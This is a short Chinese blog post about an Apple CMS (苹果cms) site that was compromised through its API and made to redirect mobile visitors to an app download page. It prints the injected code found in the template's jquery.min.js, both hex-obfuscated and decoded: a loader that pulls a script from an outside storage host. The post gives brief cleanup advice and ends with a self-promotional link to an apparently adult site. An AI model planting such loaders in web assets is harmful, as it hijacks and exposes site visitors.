[JavaScript知识库] 苹果cms最新漏洞被挂马跳转劫持及清除代码

开发: C++知识库 Java知识库 JavaScript Python PHP知识库人工智能区块链大数据移动开发嵌入式开发工具数据结构与算法开发测试游戏开发网络协议系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑笔记本显卡显示器固态硬盘硬盘耳机手机 iphone vivo oppo 小米华为单反装机图拉丁

-> JavaScript知识库 -> 苹果cms最新漏洞被挂马跳转劫持及清除代码 -> 正文阅读

[JavaScript知识库]苹果cms最新漏洞被挂马跳转劫持及清除代码

网站被挂马跳转劫持跳转到H APP下载页。

被挂马的完整PC端正常无异常，移动页面js跳转，被增加了一个js跳转。

挂马图片

通过日志查看挂马过程

该漏洞是利用苹果CMS的API执行SHELL，

挂马文件在模板的jquery.min.js

;var head=document.getElementsByTagName(‘head’)[0];var script=document.createElement(‘script’);script[‘src’]=’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6d\x61\x63\x63\x6d\x73\x2e\x7a\x32\x33\x2e\x77\x65\x62\x2e\x63\x6f\x72\x65\x2e\x77\x69\x6e\x64\x6f\x77\x73\x2e\x6e\x65\x74\x2f\x37\x33\x32\x64\x2e\x6a\x73’;head.appendChild(script);
解密之后是

var head = document.getElementsByTagName(‘head’)[0];
var script = document.createElement(‘script’);
script[‘src’] = ‘https://maccms.z23.web.core.windows.net/732d.js’;
head.appendChild(script);
清除代码

关闭后台采集API功能。或自定义API接口名字，
欢迎关注我的网站http://sexrenge.com